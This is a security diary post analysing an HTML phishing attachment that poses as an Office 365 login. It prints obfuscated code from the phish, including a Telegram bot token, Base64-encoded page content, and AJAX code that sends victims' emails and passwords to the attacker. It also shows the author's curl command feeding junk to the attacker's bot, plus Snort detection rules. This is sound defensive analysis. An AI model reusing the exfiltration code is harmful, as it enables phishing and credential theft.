Simple HTML Phishing via Telegram Bot

Published: 2023-02-08
Last Updated: 2023-02-08 13:56:11 UTC
by Johannes Ullrich (Version: 1)
1 comment(s)

Monday, I wrote about the use of IP lookup APIs by bots. It turns out that it is not just bots using these APIs, but phishing e-mails are also taking advantage of them.

The phish itself is not particularly remarkable. It is arriving as an email claiming to include a payment confirmation. The email includes a small thread of messages likely to make it more plausible. The best I can guess, the email is supposed to make the recipient curious to open the attachment. The attachment itself is a simple HTML file simulating an Office 365 page.

The email address is prefilled.

Let's take a look at the HTML file. It starts with:

    var t\u006f\u006be\u006e='5726079562:AAFyQSm_2dYxj6NHVjHY8L8zy96fyeyykKs';
    var \u0063\u0068at_id=1512976710;
    var data=atob("PGh0bWwgbGFuZz0iZW4iPjxo...

"data" is the actual HTML/JavaScript content. "atob" will Base64 decode the string. The second variable ("token") represents the Telegram credentials used later. "chat_id" is the Telegram ID of the attacker receiving the credentials.

Here are a few of the notable snippets of JavaScript after decoding it:

    $(document).ready(function() {
      $.getJSON("", function(data) {$("#gfg").html(data.ip);})
          var textField = document.getElementById("username");
          textField.value = email;

This function will run after the document is rendered in the browser. It contacts "" to retrieve the victims public IP address. This could be used to eliminate duplicate submissions, or to learn more about the victim.

body {
  margin: 0;
  padding: 0;
  background: url(;
  background-size: cover;
  font-family: sans-serif;

This is how the blurred background image is loaded. Interestingly, we received reports lately about a blurred image from our site being used in similar phishing attacks. Let us know if you come across a phish using our image (working on auto-replacing it with a warning).

Oddly, the code implements two different methods to exfiltrate the username and password. But only one of them is used. The first method would simply send the username and password to "":

var setting = {
         "async": true,
         "crossDomain": true,
         "dataType": 'JSONP',
         "url": "{email}&password={password}",
         "method": "GET",
         "headers": {"Content-Type": "application/json; charset=utf-8", "cache-control": "no-cache", 'Access-Co
ntrol-Allow-Origin': '*' },
         "data": {"email": email, "password": password}


The second method uses Telegram's API, and this code is actually used. The message sent:

    "ok": true,
    "result": {
        "message_id": 374,
        "from": {
            "id": 5726079562,
            "is_bot": true,
            "first_name": "SharepointDOGGY",
            "username": "SharepointDOGGY_bot"
        "chat": {
            "id": 1512976710,
            "first_name": "Newage officePat",
            "type": "private"
        "date": 1675861110,
        "text": "====== Office Excel ======\nEmail:\nPassword: phishphuck\nIP:[redacted]\nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15\n===================",
        "entities": [
                "offset": 34,
                "length": 21,
                "type": "email"
                "offset": 81,
                "length": 31,
                "type": "url"

Not sure why the first method was left in place, but it was likely too much work to remove it; instead, the second method was just added.

After running this script a few times, the attacker blocked the bot from sending any more credentials:

d=$(date +%s)
curl '' \
-X 'POST' \
-H 'Accept: */*' \
-H 'Content-Type: application/json' \
-H 'Origin: null' \
-H 'Cache-Control: no-cache' \
-H 'Accept-Language: en-US,en;q=0.9' \
-H 'Host:' \
-H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.3 Safari/605.1.15' \
-H 'Accept-Encoding: gzip, deflate, br' \
-H 'Connection: keep-alive' \
     --data-binary '{"chat_id":1512976710,"text":"====== Office Excel ======\r\nEmail: phishphuck\r\nPassword: phishphuck\r\nIP:\r\nUser-Agent: phishphuck\r\n==================="}'

Johannes B. Ullrich, Ph.D. , Dean of Research,

1 comment(s)


Just to share my findings after testing, SNORT will detect the API connection and DNS lookup with the following rules:
1:2033967 ET INFO Observed Telegram API Domain (api .telegram .org in TLS SNI)
1:2033966 ET INFO Telegram API Domain in DNS Lookup

Diary Archives